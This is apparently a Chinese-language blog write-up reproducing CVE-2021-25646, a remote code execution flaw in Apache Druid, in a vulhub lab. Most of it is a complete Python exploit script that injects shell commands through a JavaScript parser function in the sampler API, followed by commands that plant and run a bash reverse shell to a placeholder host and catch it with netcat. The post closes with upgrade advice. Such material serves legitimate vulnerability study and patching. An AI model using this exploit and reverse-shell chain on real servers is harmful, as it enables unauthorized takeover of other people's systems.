声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。
漏洞介绍
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。
影响版本
Apache Druid < 0.20.1
环境搭建
仍然使用vulhub搭建 https://github.com/vulhub/vulhub/tree/master/apache-druid/CVE-2021-25646
启动成功后,访问

漏洞复现
编写利用脚本druid.py
#!/usr/bin/python3
import requests
import json
import argparse
parser = argparse.ArgumentParser(description='发送HTTP请求')
parser.add_argument('-u','--url', type=str, help='请求的URL地址')
parser.add_argument('-c','--cmd', type=str, help='要执行的命令')
args = parser.parse_args()
url = args.url
cmd = args.cmd
url_2 = "/druid/indexer/v1/sampler"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36",
"Content-Type": "application/json",
"Accept": "application/json,text/plain,*/*"
}
data = {
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"firehose": {
"type": "local",
"baseDir": "/etc",
"filter": "passwd"
}
},
"dataSchema": {
"dataSource": "test",
"parser": {
"parseSpec": {
"format": "javascript",
"timestampSpec": {},
"dimensionsSpec": {},
"function": "function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([ \"sh\",\"-c\",\" " + cmd +" \"] ).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"": {
"enabled": "true"
}
}
}
}
},
"samplerConfig": {
"numRows": 10
}
}
try:
response = requests.post(url+url_2, headers=headers, json=data)
if response.status_code == 200:
print(response.text)
except Exception as e:
print(f"请求发生错误: {str(e)}")
直接反弹shell,步骤如下
#写入反弹shell脚本
py druid.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
#赋予shell脚本执行权限
py druid.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
#服务器监听6666端口
nc64.exe -lvnp 33333
#获取git权限
py druid.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"

反弹成功

修复建议
升级Apache Druid 到最新的0.20.1版本
1167

被折叠的 条评论
为什么被折叠?



